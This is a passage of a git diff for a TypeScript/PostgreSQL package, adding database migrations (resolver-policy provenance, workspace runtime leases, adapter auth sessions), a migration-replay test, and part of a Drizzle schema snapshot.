+          remainingBeforeLoad.splice(existingIndex, 1);
+          continue;
+        }
+        target.removeListener(eventName, listener as (...args: any[]) => void);
+      }
+    }
+  }
+
+  return loaded;
+}
diff --git a/packages/db/src/index.ts b/packages/db/src/index.ts
index ff1a803dba6..0957f095de1 100644
--- a/packages/db/src/index.ts
+++ b/packages/db/src/index.ts
@@ -35,6 +35,7 @@ export {
   ensureLinuxSharedLibraryAliases,
   prepareEmbeddedPostgresNativeRuntime,
 } from "./embedded-postgres-native.js";
+export { loadWithoutEmbeddedPostgresExitHooks } from "./embedded-postgres-lifecycle.js";
 export { issueRelations } from "./schema/issue_relations.js";
 export { issueReferenceMentions } from "./schema/issue_reference_mentions.js";
 export * from "./schema/index.js";
diff --git a/packages/db/src/issue-thread-interaction-resolver-policy-migration.test.ts b/packages/db/src/issue-thread-interaction-resolver-policy-migration.test.ts
new file mode 100644
index 00000000000..ddebb0835fd
--- /dev/null
+++ b/packages/db/src/issue-thread-interaction-resolver-policy-migration.test.ts
@@ -0,0 +1,172 @@
+import { randomUUID } from "node:crypto";
+import { readFile } from "node:fs/promises";
+import { fileURLToPath } from "node:url";
+import { afterEach, describe, expect, it } from "vitest";
+import postgres from "postgres";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./test-embedded-postgres.js";
+
+const cleanups: Array<() => Promise<void>> = [];
+const support = await getEmbeddedPostgresTestSupport();
+const d = support.supported ? describe : describe.skip;
+
+afterEach(async () => {
+  while (cleanups.length > 0) await cleanups.pop()?.();
+});
+
+async function resolverPolicyMigrationStatements(): Promise<string[]> {
+  const migrationSql = await readFile(
+    fileURLToPath(new URL("./migrations/0218_mushy_jack_murdock.sql", import.meta.url)),
+    "utf8",
+  );
+  return migrationSql
+    .split("--> statement-breakpoint")
+    .map((statement) => statement.trim())
+    .filter((statement) => statement.length > 0);
+}
+
+d("issue interaction resolver policy migration", () => {
+  it("replays safely and completes a partial prior run", async () => {
+    const dbh = await startEmbeddedPostgresTestDatabase("resolver-policy-migration-");
+    cleanups.push(() => dbh.cleanup());
+    const sql = postgres(dbh.connectionString, { max: 1, onnotice: () => {} });
+    cleanups.push(async () => {
+      await sql.end();
+    });
+
+    const companyId = randomUUID();
+    const issueId = randomUUID();
+    const legacyInteractionId = randomUUID();
+    const partialInteractionId = randomUUID();
+
+    await sql`
+      INSERT INTO "companies" ("id", "name", "issue_prefix")
+      VALUES (${companyId}, 'Resolver migration test', 'RMT')
+    `;
+    await sql`
+      INSERT INTO "issues" ("id", "company_id", "title", "identifier")
+      VALUES (${issueId}, ${companyId}, 'Test migration replay', 'RMT-1')
+    `;
+    await sql.unsafe(
+      'ALTER TABLE "issue_thread_interactions" ALTER COLUMN "resolver_policy_provenance" DROP NOT NULL',
+    );
+    await sql.unsafe(
+      'ALTER TABLE "issue_thread_interactions" ALTER COLUMN "effective_resolver_policy_source" DROP NOT NULL',
+    );
+    await sql`
+      INSERT INTO "issue_thread_interactions" (
+        "id",
+        "company_id",
+        "issue_id",
+        "kind",
+        "requested_resolver_policy",
+        "effective_resolver_policy",
+        "resolver_policy_provenance",
+        "effective_resolver_policy_source",
+        "payload"
+      )
+      VALUES
+        (
+          ${legacyInteractionId},
+          ${companyId},
+          ${issueId},
+          'request_confirmation',
+          'board_or_agents',
+          'board_only',
+          NULL,
+          NULL,
+          '{}'::jsonb
+        ),
+        (
+          ${partialInteractionId},
+          ${companyId},
+          ${issueId},
+          'request_confirmation',
+          'human_only',
+          'human_only',
+          'explicit',
+          NULL,
+          '{}'::jsonb
+        )
+    `;
+
+    const statements = await resolverPolicyMigrationStatements();
+    expect(statements.length).toBeGreaterThan(0);
+    for (const statement of statements) await sql.unsafe(statement);
+
+    const rowsAfterFirstRun = await sql<{
+      id: string;
+      requested_resolver_policy: string;
+      effective_resolver_policy: string;
+      resolver_policy_provenance: string;
+      effective_resolver_policy_source: string;
+    }[]>`
+      SELECT
+        "id",
+        "requested_resolver_policy",
+        "effective_resolver_policy",
+        "resolver_policy_provenance",
+        "effective_resolver_policy_source"
+      FROM "issue_thread_interactions"
+      WHERE "id" IN (${legacyInteractionId}, ${partialInteractionId})
+      ORDER BY "id"
+    `;
+    expect(rowsAfterFirstRun).toEqual(
+      [
+        {
+          id: legacyInteractionId,
+          requested_resolver_policy: "not_creator",
+          effective_resolver_policy: "human_only",
+          resolver_policy_provenance: "legacy_inherited_restriction",
+          effective_resolver_policy_source: "company_cap",
+        },
+        {
+          id: partialInteractionId,
+          requested_resolver_policy: "human_only",
+          effective_resolver_policy: "human_only",
+          resolver_policy_provenance: "explicit",
+          effective_resolver_policy_source: "requested",
+        },
+      ].sort((left, right) => left.id.localeCompare(right.id)),
+    );
+
+    for (const statement of statements) await sql.unsafe(statement);
+    const rowsAfterReplay = await sql`
+      SELECT
+        "id",
+        "requested_resolver_policy",
+        "effective_resolver_policy",
+        "resolver_policy_provenance",
+        "effective_resolver_policy_source"
+      FROM "issue_thread_interactions"
+      WHERE "id" IN (${legacyInteractionId}, ${partialInteractionId})
+      ORDER BY "id"
+    `;
+    expect(rowsAfterReplay).toEqual(rowsAfterFirstRun);
+
+    const columns = await sql<
+      { column_name: string; is_nullable: string; column_default: string }[]
+    >`
+      SELECT "column_name", "is_nullable", "column_default"
+      FROM "information_schema"."columns"
+      WHERE "table_schema" = 'public'
+        AND "table_name" = 'issue_thread_interactions'
+        AND "column_name" IN ('resolver_policy_provenance', 'effective_resolver_policy_source')
+      ORDER BY "column_name"
+    `;
+    expect(columns).toEqual([
+      {
+        column_name: "effective_resolver_policy_source",
+        is_nullable: "NO",
+        column_default: "'requested'::text",
+      },
+      {
+        column_name: "resolver_policy_provenance",
+        is_nullable: "NO",
+        column_default: "'inherited'::text",
+      },
+    ]);
+  }, 240_000);
+});
diff --git a/packages/db/src/migrations/0218_mushy_jack_murdock.sql b/packages/db/src/migrations/0218_mushy_jack_murdock.sql
new file mode 100644
index 00000000000..b44ef74d582
--- /dev/null
+++ b/packages/db/src/migrations/0218_mushy_jack_murdock.sql
@@ -0,0 +1,38 @@
+ALTER TABLE "issue_thread_interactions" ALTER COLUMN "requested_resolver_policy" SET DEFAULT 'anyone';--> statement-breakpoint
+ALTER TABLE "issue_thread_interactions" ALTER COLUMN "effective_resolver_policy" SET DEFAULT 'anyone';--> statement-breakpoint
+ALTER TABLE "issue_thread_interactions" ADD COLUMN IF NOT EXISTS "resolver_policy_provenance" text;--> statement-breakpoint
+ALTER TABLE "issue_thread_interactions" ADD COLUMN IF NOT EXISTS "effective_resolver_policy_source" text;--> statement-breakpoint
+-- Existing rows predate provenance, so their explicit-vs-default origin cannot
+-- be proven. Preserve the old creator-excluding board_or_agents behavior as
+-- not_creator and the old board_only behavior as human_only. This deliberately
+-- avoids widening any ambiguous pending card during migration.
+UPDATE "issue_thread_interactions"
+SET
+  "requested_resolver_policy" = CASE "requested_resolver_policy"
+    WHEN 'board_or_agents' THEN 'not_creator'
+    WHEN 'board_only' THEN 'human_only'
+    ELSE "requested_resolver_policy"
+  END,
+  "effective_resolver_policy" = CASE "effective_resolver_policy"
+    WHEN 'board_or_agents' THEN 'not_creator'
+    WHEN 'board_only' THEN 'human_only'
+    ELSE "effective_resolver_policy"
+  END,
+  "resolver_policy_provenance" = COALESCE(
+    "resolver_policy_provenance",
+    'legacy_inherited_restriction'
+  ),
+  "effective_resolver_policy_source" = COALESCE(
+    "effective_resolver_policy_source",
+    CASE
+      WHEN "kind" = 'request_confirmation' AND "payload" ? 'toolAction' THEN 'governed_action'
+      WHEN "effective_resolver_policy" IS DISTINCT FROM "requested_resolver_policy" THEN 'company_cap'
+      ELSE 'requested'
+    END
+  )
+WHERE "resolver_policy_provenance" IS NULL
+   OR "effective_resolver_policy_source" IS NULL;--> statement-breakpoint
+ALTER TABLE "issue_thread_interactions" ALTER COLUMN "resolver_policy_provenance" SET DEFAULT 'inherited';--> statement-breakpoint
+ALTER TABLE "issue_thread_interactions" ALTER COLUMN "resolver_policy_provenance" SET NOT NULL;--> statement-breakpoint
+ALTER TABLE "issue_thread_interactions" ALTER COLUMN "effective_resolver_policy_source" SET DEFAULT 'requested';--> statement-breakpoint
+ALTER TABLE "issue_thread_interactions" ALTER COLUMN "effective_resolver_policy_source" SET NOT NULL;
diff --git a/packages/db/src/migrations/0219_runtime_service_exposure.sql b/packages/db/src/migrations/0219_runtime_service_exposure.sql
new file mode 100644
index 00000000000..3a3b464f648
--- /dev/null
+++ b/packages/db/src/migrations/0219_runtime_service_exposure.sql
@@ -0,0 +1,3 @@
+ALTER TABLE "workspace_runtime_services" ADD COLUMN "exposure" jsonb;
+ALTER TABLE "workspace_runtime_services" ADD COLUMN "exposure_handle" text;
+ALTER TABLE "workspace_runtime_services" ADD COLUMN "backend_url" text;
diff --git a/packages/db/src/migrations/0220_execution_workspace_runtime_leases.sql b/packages/db/src/migrations/0220_execution_workspace_runtime_leases.sql
new file mode 100644
index 00000000000..3b731211205
--- /dev/null
+++ b/packages/db/src/migrations/0220_execution_workspace_runtime_leases.sql
@@ -0,0 +1,26 @@
+CREATE TABLE "execution_workspace_runtime_leases" (
+	"id" uuid PRIMARY KEY DEFAULT gen_random_uuid() NOT NULL,
+	"company_id" uuid NOT NULL,
+	"execution_workspace_id" uuid NOT NULL,
+	"owner_key" text NOT NULL,
+	"owner_issue_id" uuid,
+	"owner_run_id" uuid,
+	"owner_agent_id" uuid,
+	"last_action" text NOT NULL,
+	"claimed_at" timestamp with time zone DEFAULT now() NOT NULL,
+	"renewed_at" timestamp with time zone DEFAULT now() NOT NULL,
+	"expires_at" timestamp with time zone NOT NULL,
+	"metadata" jsonb,
+	"created_at" timestamp with time zone DEFAULT now() NOT NULL,
+	"updated_at" timestamp with time zone DEFAULT now() NOT NULL,
+	CONSTRAINT "execution_workspace_runtime_leases_execution_workspace_id_unique" UNIQUE("execution_workspace_id")
+);
+--> statement-breakpoint
+ALTER TABLE "execution_workspace_runtime_leases" ADD CONSTRAINT "execution_workspace_runtime_leases_company_id_companies_id_fk" FOREIGN KEY ("company_id") REFERENCES "public"."companies"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
+ALTER TABLE "execution_workspace_runtime_leases" ADD CONSTRAINT "execution_workspace_runtime_leases_execution_workspace_id_execution_workspaces_id_fk" FOREIGN KEY ("execution_workspace_id") REFERENCES "public"."execution_workspaces"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
+ALTER TABLE "execution_workspace_runtime_leases" ADD CONSTRAINT "execution_workspace_runtime_leases_owner_issue_id_issues_id_fk" FOREIGN KEY ("owner_issue_id") REFERENCES "public"."issues"("id") ON DELETE set null ON UPDATE no action;--> statement-breakpoint
+ALTER TABLE "execution_workspace_runtime_leases" ADD CONSTRAINT "execution_workspace_runtime_leases_owner_run_id_heartbeat_runs_id_fk" FOREIGN KEY ("owner_run_id") REFERENCES "public"."heartbeat_runs"("id") ON DELETE set null ON UPDATE no action;--> statement-breakpoint
+ALTER TABLE "execution_workspace_runtime_leases" ADD CONSTRAINT "execution_workspace_runtime_leases_owner_agent_id_agents_id_fk" FOREIGN KEY ("owner_agent_id") REFERENCES "public"."agents"("id") ON DELETE set null ON UPDATE no action;--> statement-breakpoint
+CREATE INDEX "execution_workspace_runtime_leases_company_workspace_idx" ON "execution_workspace_runtime_leases" USING btree ("company_id","execution_workspace_id");--> statement-breakpoint
+CREATE INDEX "execution_workspace_runtime_leases_company_owner_idx" ON "execution_workspace_runtime_leases" USING btree ("company_id","owner_key");--> statement-breakpoint
+CREATE INDEX "execution_workspace_runtime_leases_expires_at_idx" ON "execution_workspace_runtime_leases" USING btree ("expires_at");
diff --git a/packages/db/src/migrations/0221_swift_justin_hammer.sql b/packages/db/src/migrations/0221_swift_justin_hammer.sql
new file mode 100644
index 00000000000..0fad2812db0
--- /dev/null
+++ b/packages/db/src/migrations/0221_swift_justin_hammer.sql
@@ -0,0 +1,20 @@
+CREATE TABLE "claude_setup_token_sessions" (
+	"id" uuid PRIMARY KEY DEFAULT gen_random_uuid() NOT NULL,
+	"session_id" text NOT NULL,
+	"company_id" uuid NOT NULL,
+	"owner_user_id" text NOT NULL,
+	"adapter_type" text NOT NULL,
+	"environment_id" uuid NOT NULL,
+	"lease_id" text,
+	"state" text DEFAULT 'starting' NOT NULL,
+	"deadline_at" timestamp with time zone NOT NULL,
+	"bound_at" timestamp with time zone,
+	"created_at" timestamp with time zone DEFAULT now() NOT NULL,
+	"updated_at" timestamp with time zone DEFAULT now() NOT NULL
+);
+--> statement-breakpoint
+ALTER TABLE "claude_setup_token_sessions" ADD CONSTRAINT "claude_setup_token_sessions_company_id_companies_id_fk" FOREIGN KEY ("company_id") REFERENCES "public"."companies"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
+ALTER TABLE "claude_setup_token_sessions" ADD CONSTRAINT "claude_setup_token_sessions_environment_id_environments_id_fk" FOREIGN KEY ("environment_id") REFERENCES "public"."environments"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
+CREATE UNIQUE INDEX "claude_setup_token_sessions_active_uq" ON "claude_setup_token_sessions" USING btree ("company_id","owner_user_id","adapter_type","environment_id") WHERE "claude_setup_token_sessions"."state" IN ('starting', 'awaiting_code', 'submitting', 'persisting');--> statement-breakpoint
+CREATE UNIQUE INDEX "claude_setup_token_sessions_session_id_uq" ON "claude_setup_token_sessions" USING btree ("session_id");--> statement-breakpoint
+CREATE INDEX "claude_setup_token_sessions_deadline_idx" ON "claude_setup_token_sessions" USING btree ("deadline_at");
diff --git a/packages/db/src/migrations/0222_orphan_cleanup_env_reference_survives_delete.sql b/packages/db/src/migrations/0222_orphan_cleanup_env_reference_survives_delete.sql
new file mode 100644
index 00000000000..3e469565775
--- /dev/null
+++ b/packages/db/src/migrations/0222_orphan_cleanup_env_reference_survives_delete.sql
@@ -0,0 +1,4 @@
+ALTER TABLE "environment_leases" DROP CONSTRAINT "environment_leases_environment_id_environments_id_fk";
+--> statement-breakpoint
+ALTER TABLE "environment_leases" ALTER COLUMN "environment_id" DROP NOT NULL;--> statement-breakpoint
+ALTER TABLE "environment_leases" ADD CONSTRAINT "environment_leases_environment_id_environments_id_fk" FOREIGN KEY ("environment_id") REFERENCES "public"."environments"("id") ON DELETE set null ON UPDATE no action;
\ No newline at end of file
diff --git a/packages/db/src/migrations/0223_robust_zaladane.sql b/packages/db/src/migrations/0223_robust_zaladane.sql
new file mode 100644
index 00000000000..d7f04cd26db
--- /dev/null
+++ b/packages/db/src/migrations/0223_robust_zaladane.sql
@@ -0,0 +1,6 @@
+ALTER TABLE "company_secret_proposals" ADD COLUMN IF NOT EXISTS "interaction_id" uuid;--> statement-breakpoint
+DO $$ BEGIN
+ ALTER TABLE "company_secret_proposals" ADD CONSTRAINT "company_secret_proposals_interaction_id_issue_thread_interactions_id_fk" FOREIGN KEY ("interaction_id") REFERENCES "public"."issue_thread_interactions"("id") ON DELETE set null ON UPDATE no action;
+EXCEPTION WHEN duplicate_object THEN NULL;
+END $$;--> statement-breakpoint
+CREATE INDEX IF NOT EXISTS "company_secret_proposals_interaction_idx" ON "company_secret_proposals" USING btree ("interaction_id");
diff --git a/packages/db/src/migrations/0224_unified_adapter_auth_sessions.sql b/packages/db/src/migrations/0224_unified_adapter_auth_sessions.sql
new file mode 100644
index 00000000000..c848dd06ce2
--- /dev/null
+++ b/packages/db/src/migrations/0224_unified_adapter_auth_sessions.sql
@@ -0,0 +1,18 @@
+-- Extend "adapter_auth_sessions" to hold both login flows. The migration adds
+-- the public session id and the claim marker, and it re-scopes the active
+-- credential slot to company + owner + adapter. The migration copies no rows
+-- from "claude_setup_token_sessions"; that table stays in place for a later drop.
+--
+-- NOT NULL on a live table: "public_session_id" is a new non-null column with no
+-- default, and "adapter_auth_sessions" can hold rows when the migration runs. The
+-- rows are short-lived login sessions, and the board excluded deploy-window
+-- support, so the migration deletes the existing rows instead of a backfill of a
+-- generated value. A dropped login session re-starts on the next request. The
+-- table stays small because the reaper removes finished rows, so the one-time
+-- full delete is safe.
+DELETE FROM "adapter_auth_sessions";--> statement-breakpoint
+ALTER TABLE "adapter_auth_sessions" ADD COLUMN "public_session_id" varchar(128) NOT NULL;--> statement-breakpoint
+ALTER TABLE "adapter_auth_sessions" ADD COLUMN "bound_at" timestamp with time zone;--> statement-breakpoint
+DROP INDEX "adapter_auth_sessions_company_adapter_active_uq";--> statement-breakpoint
+CREATE UNIQUE INDEX "adapter_auth_sessions_company_owner_adapter_active_uq" ON "adapter_auth_sessions" USING btree ("company_id","started_by_user_id","adapter_type") WHERE "adapter_auth_sessions"."status" IN ('starting', 'waiting_for_user', 'promoting', 'awaiting_code', 'submitting');--> statement-breakpoint
+CREATE UNIQUE INDEX "adapter_auth_sessions_public_session_id_uq" ON "adapter_auth_sessions" USING btree ("public_session_id");
diff --git a/packages/db/src/migrations/0225_drop_claude_setup_token_sessions.sql b/packages/db/src/migrations/0225_drop_claude_setup_token_sessions.sql
new file mode 100644
index 00000000000..2e0cbc0664a
--- /dev/null
+++ b/packages/db/src/migrations/0225_drop_claude_setup_token_sessions.sql
@@ -0,0 +1,5 @@
+-- Drop the old Claude setup-token table. The unified "adapter_auth_sessions"
+-- table now holds the Claude setup-token store for both login flows, so the
+-- old table has no reader. Migration 0224 moved the columns and the active-slot
+-- index onto "adapter_auth_sessions"; this migration removes the dead table.
+DROP TABLE IF EXISTS "claude_setup_token_sessions";
diff --git a/packages/db/src/migrations/0226_tan_colossus.sql b/packages/db/src/migrations/0226_tan_colossus.sql
new file mode 100644
index 00000000000..62e14594d70
--- /dev/null
+++ b/packages/db/src/migrations/0226_tan_colossus.sql
@@ -0,0 +1,2 @@
+-- paperclip:migration-safety-ignore large-create-index-not-concurrently: Drizzle migrations run transactionally, so CONCURRENTLY is unavailable. This release introduces the disposition-repair key namespace, so deployed databases have no matching rows before this required atomic-deduplication index is added.
+CREATE UNIQUE INDEX IF NOT EXISTS "agent_wakeup_requests_disposition_repair_idempotency_uq" ON "agent_wakeup_requests" USING btree ("company_id","idempotency_key") WHERE "agent_wakeup_requests"."idempotency_key" LIKE 'issue_disposition_repair:%' AND "agent_wakeup_requests"."status" <> 'skipped';
diff --git a/packages/db/src/migrations/meta/0218_snapshot.json b/packages/db/src/migrations/meta/0218_snapshot.json
new file mode 100644
index 00000000000..3c57b7469bd
--- /dev/null
+++ b/packages/db/src/migrations/meta/0218_snapshot.json
@@ -0,0 +1,39281 @@
+{
+  "id": "66cebac9-8e3b-4060-82e4-21b52490e8ab",
+  "prevId": "b4772a1e-5fbb-49df-a5ab-976b7b891ccc",
+  "version": "7",
+  "dialect": "postgresql",
+  "tables": {
+    "public.activity_log": {
+      "name": "activity_log",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_id": {
+          "name": "entity_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "activity_log_company_created_idx": {
+          "name": "activity_log_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_agent_created_idx": {
+          "name": "activity_log_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_responsible_user_created_idx": {
+          "name": "activity_log_company_responsible_user_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_run_id_idx": {
+          "name": "activity_log_run_id_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_entity_type_id_idx": {
+          "name": "activity_log_entity_type_id_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "entity_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "activity_log_company_id_companies_id_fk": {
+          "name": "activity_log_company_id_companies_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_agent_id_agents_id_fk": {
+          "name": "activity_log_agent_id_agents_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_run_id_heartbeat_runs_id_fk": {
+          "name": "activity_log_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.adapter_auth_sessions": {
+      "name": "adapter_auth_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promotion_expires_at": {
+          "name": "promotion_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "adapter_auth_sessions_company_status_idx": {
+          "name": "adapter_auth_sessions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_company_adapter_active_uq": {
+          "name": "adapter_auth_sessions_company_adapter_active_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"adapter_auth_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'promoting')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_environment_idx": {
+          "name": "adapter_auth_sessions_environment_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_expires_idx": {
+          "name": "adapter_auth_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_provider_lease_idx": {
+          "name": "adapter_auth_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "adapter_auth_sessions_company_id_companies_id_fk": {
+          "name": "adapter_auth_sessions_company_id_companies_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "adapter_auth_sessions_environment_id_environments_id_fk": {
+          "name": "adapter_auth_sessions_environment_id_environments_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_api_keys": {
+      "name": "agent_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key_hash": {
+          "name": "key_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_config": {
+          "name": "scope_config",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "revoked_at": {
+          "name": "revoked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "agent_api_keys_key_hash_idx": {
+          "name": "agent_api_keys_key_hash_idx",
+          "columns": [
+            {
+              "expression": "key_hash",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "agent_api_keys_company_agent_idx": {
+          "name": "agent_api_keys_company_agent_idx",
+          "columns": [
+            {
